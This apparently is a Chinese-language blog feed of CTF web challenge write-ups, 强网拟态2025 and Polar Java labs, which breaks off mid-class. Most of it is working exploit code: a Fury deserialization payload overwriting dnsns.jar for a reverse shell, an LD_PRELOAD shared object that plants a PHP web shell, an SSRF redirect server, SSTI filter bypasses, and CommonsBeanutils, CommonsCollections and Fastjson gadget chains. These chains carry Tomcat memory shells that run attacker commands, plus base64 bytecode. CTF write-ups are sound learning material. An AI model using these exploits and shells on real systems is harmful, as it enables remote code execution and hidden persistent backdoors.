 st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) + 0x1e)

 b_crc = isAllowBytes(st_crc, allow_bytes)
 b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
 b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
 b_cdzf = isAllowBytes(st_cdzf, allow_bytes)

 if b_crc and b_raw_data and b_compressed_data and b_cdzf:
 print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
 output = open(jar_filename, 'wb')
 output.write(wrap_jar(raw_data, compressed_data, zip_entity_filename.encode()))
 print('[+] Generate {0} success'.format(jar_filename))
 break
 else:
 print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
 num = num + 1

上传完jar包后直接通过反序列化触发dnsns.jar加载

import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.util.Base64;


public class ExpFinal {
 public static void main(String[] args) throws Exception {
 System.out.println("Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor...");

 Fury fury = Fury.builder()
 .withLanguage(Language.JAVA)
 .requireClassRegistration(false)
 .build();

 Class<?> clazz = Class.forName("sun.net.spi.nameservice.dns.DNSNameServiceDescriptor");
 Object instance = clazz.newInstance();

 byte[] payload = fury.serialize(instance);
 String b64 = Base64.getEncoder().encodeToString(payload);

 try (FileOutputStream fos = new FileOutputStream("payload_dns.b64")) {
 fos.write(b64.getBytes());
 }

 System.out.println("Payload saved to payload_dns.b64");
 System.out.println("Payload Base64: " + b64);
 }
}

两次发包，首先覆盖dnsns.jar

然后触发加载，反弹shell

强网拟态2025初赛 Web Writeup

p0l1st@venomsec.org (p0l1st) — Mon, 27 Oct 2025 11:04:24 +0000

smallcode

<?php
 highlight_file(__FILE__);
 if(isset($_POST['context'])){
 $context = $_POST['context'];
 file_put_contents("1.txt",base64_decode($context));
 }

 if(isset($_POST['env'])){
 $env = $_POST['env'];
 putenv($env);
 }
 system("nohup wget --content-disposition -N hhhh &");

写so，编译


#include <stdlib.h>
#include <unistd.h>

__attribute__ ((__constructor__)) void init(void){
 // 防止递归加载
 unsetenv("LD_PRELOAD");
 
 system("printf \"<?php if(isset(\\$_POST['cmd'])){system(\\$_POST['cmd']);} ?>\" > /var/www/html/shell.php");
}

把so文件内容base64编码后上传

加载

env=LD_PRELOAD=/var/www/html/1.txt

在/var/www/html写shell.php，但是读flag需要提权

find / -perm -u=s -type f 2>/dev/null
nl /flag

safesecret

from flask import Flask, request, jsonify, Response, abort, render_template_string, session
import requests, re
from urllib.parse import urljoin, urlparse

app = Flask(__name__)

MAX_TOTAL_STEPS = 30
ERROR_COUNT = 6

META_REFRESH_RE = re.compile(
 r'<meta\s+http-equiv=["\']refresh["\']\s+content=["\']\s*\d+\s*;\s*url=([^"\']+)["\']',
 re.IGNORECASE
)


def read(f): return open(f).read()


SECRET = read("/secret").strip()
app.secret_key = "a_test_secret"


def sset(key, value):
 session[key] = value
 return ""


def sget(key, default=None):
 return session.get(key, default)


app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)


@app.route("/_internal/secret")
def internal_flag():
 if request.remote_addr not in ("127.0.0.1", "::1"):
 abort(403)
 body = f'OK Secret: {SECRET}'
 return Response(body, mimetype="application/json")


@app.route("/")
def index():
 return "welcome"


def _next_by_refresh_header(r, current_url):
 refresh = r.headers.get("Refresh")
 if not refresh:
 return None
 try:
 part = refresh.split(";", 1)[1]
 k, v = part.split("=", 1)
 if k.strip().lower() == "url":
 return urljoin(current_url, v.strip())
 except Exception:
 return None


def _next_by_meta_refresh(r, current_url):
 m = META_REFRESH_RE.search(r.text[:5000])
 if m:
 return urljoin(current_url, m.group(1).strip())
 return None


def _next_by_authlike_header(r, current_url):
 if r.status_code in (401, 407, 429):
 nxt = r.headers.get("X-Next")
 if nxt:
 return urljoin(current_url, nxt)
 return None


def my_fetch(url):
 session = requests.Session()
 current_url = url
 count_redirect = 0
 history = []
 last_resp = None

 while count_redirect < MAX_TOTAL_STEPS:
 print(count_redirect)
 try:
 r = session.get(current_url, allow_redirects=False, timeout=5)
 print(r.text)
 except Exception as e:
 return history, None, f"Upstream request failed: {e}"

 last_resp = r
 history.append({
 "url": current_url,
 "status": r.status_code,
 "headers": dict(r.headers),
 "body_preview": r.text[:800]
 })

 nxt = _next_by_refresh_header(r, current_url)
 if nxt:
 current_url = nxt
 count_redirect += 1
 continue

 nxt = _next_by_meta_refresh(r, current_url)
 if nxt:
 current_url = nxt
 count_redirect += 1
 continue

 nxt = _next_by_authlike_header(r, current_url)
 if nxt:
 current_url = nxt
 count_redirect += 1
 continue

 break

 return history, last_resp, None


@app.route("/fetch")
def fetch():
 target = request.args.get("url")
 if not target:
 return jsonify({"error": "no url"}), 400

 history, last_resp, err = my_fetch(target)
 if err:
 return jsonify({"error": err}), 502
 if not last_resp:
 return jsonify({"error": "no response"}), 502

 walked_steps = len(history) - 1
 try:
 if "application/json" in (last_resp.headers.get("Content-Type") or "").lower():
 _ = last_resp.json()
 else:
 if "MUST_HAVE_FIELD" not in last_resp.text:
 raise ValueError("JSON schema mismatch")
 return jsonify({"ok": True, "len": len(last_resp.text)})

 except Exception as parse_err:
 if walked_steps >= ERROR_COUNT:
 raw = []
 raw.append(last_resp.text[:5000])
 return Response("\n".join(raw), mimetype="text/plain", status=500)
 else:
 return jsonify({"error": "Invalid JSON"}), 500


@app.route("/login")
def login():
 username = request.args.get("username")
 secret = request.args.get("secret", "")
 blacklist = ["config", "_", "read", "{{"]
 if secret != SECRET:
 return ("forbidden", 403)

 if len(username) > 47:
 return ("username too long", 400)

 if any([n in username.lower() for n in blacklist]):
 return ("forbidden", 403)

 sset('username', username)

 rendered = render_template_string("Welcome: " + username)
 return rendered


if __name__ == "__main__":
 app.run(host="0.0.0.0", port=5000)

需要进行七次重定向

ai写个Exp，放vps上

from http.server import HTTPServer, BaseHTTPRequestHandler

class RefreshRedirectHandler(BaseHTTPRequestHandler):
 def do_GET(self):
 print(f"Request: {self.path}")

 if self.path == '/start':
 self.send_response(200)
 self.send_header('Refresh', '0; url=https://blog.p0l1st.top/step1')
 self.end_headers()
 self.wfile.write(b'Redirecting...')
 elif self.path == '/step1':
 self.send_response(200)
 self.send_header('Refresh', '0; url=https://blog.p0l1st.top/step2')
 self.end_headers()
 self.wfile.write(b'Redirecting...')
 elif self.path == '/step2':
 self.send_response(200)
 self.send_header('Refresh', '0; url=https://blog.p0l1st.top/step3')
 self.end_headers()
 self.wfile.write(b'Redirecting...')
 elif self.path == '/step3':
 self.send_response(200)
 self.send_header('Refresh', '0; url=https://blog.p0l1st.top/step4')
 self.end_headers()
 self.wfile.write(b'Redirecting...')
 elif self.path == '/step4':
 self.send_response(200)
 self.send_header('Refresh', '0; url=https://blog.p0l1st.top/step5')
 self.end_headers()
 self.wfile.write(b'Redirecting...')
 elif self.path == '/step5':
 self.send_response(200)
 self.send_header('Refresh', '0; url=https://blog.p0l1st.top/step6')
 self.end_headers()
 self.wfile.write(b'Redirecting...')
 elif self.path == '/step6':
 self.send_response(200)
 self.send_header('Refresh', '0; url=http://127.0.0.1:5000/_internal/secret')
 self.end_headers()
 self.wfile.write(b'Final redirect...')
 else:
 self.send_response(404)
 self.end_headers()
 self.wfile.write(b'Not Found')

 def log_message(self, format, *args):
 print(f"LOG: {format % args}")

if __name__ == '__main__':
 server = HTTPServer(('0.0.0.0', 8000), RefreshRedirectHandler)
 print('Starting Refresh header redirect server on port 8000...')
 server.serve_forever()

访问/fetch?url=http://vps:port/start即可

拿到Secret: 1140457d-a0b5-4e6d-a423-5a676e61992a

login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&username={%print(1)%}

下面就需要绕ssti黑名单和长度限制

这里过滤了config，那么就不能用config.update，如果要打继承链的话需要一个全局字典

可以看到

我们可以通过sset设置session中的键值对，再用sget获取session的值

构造出来

sget['__globals__']['read']('/flag')
#等价于read('/flag')

实际上就是通过globals获取到read函数，再通过read函数去读取/flag

import requests
import re

url = "http://web-aff0e10d2f.challenge.xctf.org.cn/"
secret_key = "1140457d-a0b5-4e6d-a423-5a676e61992a"


def exp():
 login_url = url + "login"
 s = requests.session()

 payloads = [
 {"username": "{%print sset('g',request.args.g)%}", "g": "__globals__"},
 {"username": "{%print sset('r',request.args.r)%}", "r": "read"},
 {"username": "{%print sset('f',request.args.f)%}", "f": "/flag"}
 ]

 for payload in payloads:
 s.get(login_url, params={"secret": secret_key, **payload})

 payload4 = {
 "secret": secret_key,
 "username": "{%print sget[sget('g')][sget('r')](sget('f'))%}",
 }
 res = s.get(login_url, params=payload4)

 result = res.text
 print(result)

 if "flag{" in result:
 flag_match = re.search(r"flag\{[^}]+\}", result)
 if flag_match:
 print(f"\n找到FLAG: {flag_match.group(0)}")


if __name__ == "__main__":
 exp()

ezcloud

扫目录发现有actuator接口泄露

发现spring cloud getway，最近刚爆出SpeL漏洞

然后参考https://rce.moe/2025/09/29/CVE-2025-41243/文章里面的文件读取即可读取flag

每次设置完路由post访问refresh进行更新

将路由设置到根目录后然后访问/webjars/flag

Polar靶场-Java

p0l1st@venomsec.org (p0l1st) — Thu, 14 Aug 2025 18:28:34 +0000

ezjava

spel表达式注入

payload

ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/bash", "-c", "cat /app/flag.txt").start().getInputStream(), "gbk")).readLine()

CB链

 @RequestMapping({"/user"})
 @ResponseBody
 public String getUser(String user) throws Exception {
 byte[] userBytes = Tools.base64Decode(user);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
 User userObj = (User) in.readObject();
 return userObj.getUserNicename();
 }

/user路由存在反序列化

依赖是cb1.9.2 cc3.2.1

正常的话打CB链应该是这样的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1Exp {
 public static void main(String[] args) throws Exception {
 byte[] code = Files.readAllBytes(Paths.get("E://Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{code});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.getOutputProperties();
 final BeanComparator beanComparator = new BeanComparator();
 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,beanComparator);
 queue.add(1);
 queue.add(1);
 setFieldValue(beanComparator,"property","outputProperties");
 setFieldValue(queue,"queue",new Object[]{templates,templates});

 serialize(queue);
// unserialize("serb.bin");

 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serb.bin"));
// oos.writeObject(obj);
// }
public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
}

但是复现的环境不出网，所以只能打内存马

先写一个类加载器

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
 static{
 try{
 javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
 java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
 r.setAccessible(true);
 org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
 javax.servlet.http.HttpSession session = request.getSession();
 String classData=request.getParameter("classData");
 System.out.println("classData:"+classData);
 byte[] classBytes = Base64.getDecoder().decode(classData);
 java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
 defineClassMethod.setAccessible(true);
 Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
 cc.newInstance().equals(new Object[]{request,response,session});
 }catch(Exception e){
 e.printStackTrace();
 }
 }
 public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
 }
 public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {

 }
}

再写一个恶意类，将命令执行回显到response的header中

import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class Memshell implements javax.servlet.Filter{
 private javax.servlet.http.HttpServletRequest request = null;
 private org.apache.catalina.connector.Response response = null;
 private javax.servlet.http.HttpSession session =null;

 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 }
 public void destroy() {}
 @Override
 public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
 javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
 javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
 javax.servlet.http.HttpSession session = request.getSession();
 String cmd = request.getHeader("cmd"); //header cmd
 System.out.println(cmd);
 if (cmd != null) {

 response.setHeader("START", "OK");
 // 使用 ProcessBuilder 执行命令
 Process process = new ProcessBuilder(cmd.split("\\s+"))
 .redirectErrorStream(true)
 .start();

 // 获取命令执行的输入流
 InputStream inputStream = process.getInputStream();

 // 使用 Java 8 Stream 将输入流转换为字符串
 String result = new BufferedReader(new InputStreamReader(inputStream))
 .lines()
 .collect(Collectors.joining(System.lineSeparator()));
 System.out.println("3");
 response.setHeader("RESULT",result);

 } else {
 filterChain.doFilter(request, response);
 }
 }

 public boolean equals(Object obj) {
 Object[] context=(Object[]) obj;
 this.session = (javax.servlet.http.HttpSession ) context[2];
 this.response = (org.apache.catalina.connector.Response) context[1];
 this.request = (javax.servlet.http.HttpServletRequest) context[0];

 try {
 dynamicAddFilter(new Memshell(),"Shell","/*",request);
 } catch (IllegalAccessException e) {
 e.printStackTrace();
 }

 return true;
 }

 public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
 javax.servlet.ServletContext servletContext=request.getServletContext();
 if (servletContext.getFilterRegistration(name) == null) {
 java.lang.reflect.Field contextField = null;
 org.apache.catalina.core.ApplicationContext applicationContext =null;
 org.apache.catalina.core.StandardContext standardContext=null;
 java.lang.reflect.Field stateField=null;
 javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

 try {
 contextField=servletContext.getClass().getDeclaredField("context");
 contextField.setAccessible(true);
 applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
 contextField=applicationContext.getClass().getDeclaredField("context");
 contextField.setAccessible(true);
 standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
 stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
 stateField.setAccessible(true);
 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
 filterRegistration = servletContext.addFilter(name, filter);
 filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
 java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
 filterStartMethod.setAccessible(true);
 filterStartMethod.invoke(standardContext, null);
 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
 }catch (Exception e){
 }finally {
 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
 }
 }
 }
}

读取并base64输出内存马的内容

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Test {
 public static void main(String[] args) throws IOException {
 byte[] bytes = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\CB1\\target\\classes\\CB\\Memshell.class"));
 String classData = Base64.getEncoder().encodeToString(bytes);
 System.out.println(classData);

 }

}

通过CB链加载MyClassLoader，然后classData就是我们的内存马

Fastjson

fastjson1.2.24

public class JsonController {
 @RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"})
 @ResponseBody
 public Object getUser() {
 User user = new User();
 user.setName("Polar D&N ~!");
 user.setId("2022");
 return user;
 }

 @RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})
 @ResponseBody
 public Object setUser(@RequestBody String jsonString) {
 System.out.println(jsonString);
 JSONObject jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
 User user = (User) jsonObject.toJavaObject(User.class);
 user.setId("2023");
 return user;
 }
}

拿payload直接打，不出网打TemplatesImpl内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class MemShe extends AbstractTranslet {
 public MemShe() {
 try {
 org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
 javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
 javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
 String[] cmd = new String[]{"bash", "-c", httprequest.getHeader("cmd")};
 byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
 httpresponse.getWriter().write(new String(result));
 httpresponse.getWriter().flush();
 httpresponse.getWriter().close();
 } catch (IOException e) {
 e.printStackTrace();
 }
 }

 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws
 TransletException {
 }

 @Override
 public void transform(DOM document, DTMAxisIterator iterator,
 SerializationHandler handler) throws TransletException {
 }
}

payload

{	
 "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 "_bytecodes":["yv66vgAAADQAhgoAHQBDCgBEAEUHAEYKAAMARwoAAwBIBwBJCABKCABLCAApCwBMAE0HAE4HAE8KAAwAUAoADABRCgBSAFMKAAsAVAgAVQoACwBWCgALAFcKAAYAWAsAWQBaCgAGAFsKAFwAXQoAXABeCgBcAF8HAGAKABoAYQcAYgcAYwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBABFyZXF1ZXN0QXR0cmlidXRlcwEAO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQALaHR0cHJlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAxodHRwcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAltCAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAAtMQ0IvTWVtU2hlOwEADVN0YWNrTWFwVGFibGUHAGIHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAZAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAC01lbVNoZS5qYXZhDAAeAB8HAGUMAGYAZwEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAGgAaQwAagBrAQAQamF2YS9sYW5nL1N0cmluZwEABGJhc2gBAAItYwcAbAwAbQBuAQARamF2YS91dGlsL1NjYW5uZXIBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIMAB4AbwwAcABxBwByDABzAHQMAB4AdQEAAlxBDAB2AHcMAHgAeQwAegB7BwB8DAB9AH4MAB4AfwcAgAwAgQCCDACDAB8MAIQAHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAIUAHwEACUNCL01lbVNoZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGdldEJ5dGVzAQAEKClbQgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAUoW0IpVgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBAA9wcmludFN0YWNrVHJhY2UAIQAcAB0AAAAAAAMAAQAeAB8AAQAgAAABNwAFAAYAAACDKrcAAbgAAkwrwAADtgAETSvAAAO2AAVOBr0ABlkDEgdTWQQSCFNZBSwSCbkACgIAUzoEuwALWbsADFkZBLcADbYADrYAD7cAEBIRtgAStgATtgAUOgUtuQAVAQC7AAZZGQW3ABa2ABctuQAVAQC2ABgtuQAVAQC2ABmnAAhMK7YAG7EAAQAEAHoAfQAaAAMAIQAAADYADQAAAAwABAAOAAgADwAQABAAGAARADMAEgBWABMAaAAUAHEAFQB6ABgAfQAWAH4AFwCCABkAIgAAAEgABwAIAHIAIwAkAAEAEABqACUAJgACABgAYgAnACgAAwAzAEcAKQAqAAQAVgAkACsALAAFAH4ABAAtAC4AAQAAAIMALwAwAAAAMQAAABAAAv8AfQABBwAyAAEHADMEAAEANAA1AAIAIAAAAD8AAAADAAAAAbEAAAACACEAAAAGAAEAAAAeACIAAAAgAAMAAAABAC8AMAAAAAAAAQA2ADcAAQAAAAEAOAA5AAIAOgAAAAQAAQA7AAEANAA8AAIAIAAAAEkAAAAEAAAAAbEAAAACACEAAAAGAAEAAAAjACIAAAAqAAQAAAABAC8AMAAAAAAAAQA2ADcAAQAAAAEAPQA+AAIAAAABAD8AQAADADoAAAAEAAEAOwABAEEAAAACAEI="],
 "_name":"p0l1st",
 "_tfactory":{},
 "_outputProperties":{}
}

CC链

CC3.1依赖，/read存在反序列化

打CC3+内存马

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;


public class CC3 {
 public static void main(String[] args) throws Exception{
 TemplatesImpl templates = new TemplatesImpl();
 Class templatesClass = templates.getClass();
 Field nameField = templatesClass.getDeclaredField("_name");
 nameField.setAccessible(true);
 nameField.set(templates,"p0l1st");

 Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
 bytecodesField.setAccessible(true);
 byte[] evil = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\test\\target\\classes\\cn\\p0l1st\\MyClassLoader.class"));
 byte[][] codes = {evil};
 bytecodesField.set(templates,codes);

 Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
 tfactoryField.setAccessible(true);
 tfactoryField.set(templates, new TransformerFactoryImpl());
 // templates.newTransformer();

 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
 new Object[]{templates});
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
 instantiateTransformer
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
 HashMap<Object, Object> expMap = new HashMap<>();
 expMap.put(tiedMapEntry, "value");
 lazyMap.remove("key");

 // 在 put 之后通过反射修改值
 Class<LazyMap> lazyMapClass = LazyMap.class;
 Field factoryField = lazyMapClass.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(lazyMap, chainedTransformer);

 serialize(expMap);
// unserialize("ser.bin");
 }
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// oos.writeObject(obj);
// }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
}

FastJsonBCEL

JSONController

 @PostMapping({"/parse"})
 public Object parseJson(@RequestBody String jsonString) {
 return JSONObject.parse(jsonString);
 }

fastjson1.2.24,存在tomcat-dbcp依赖

题目环境不出网，通过BCEL回显

package cn.p0l1st;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
 static {
 try {
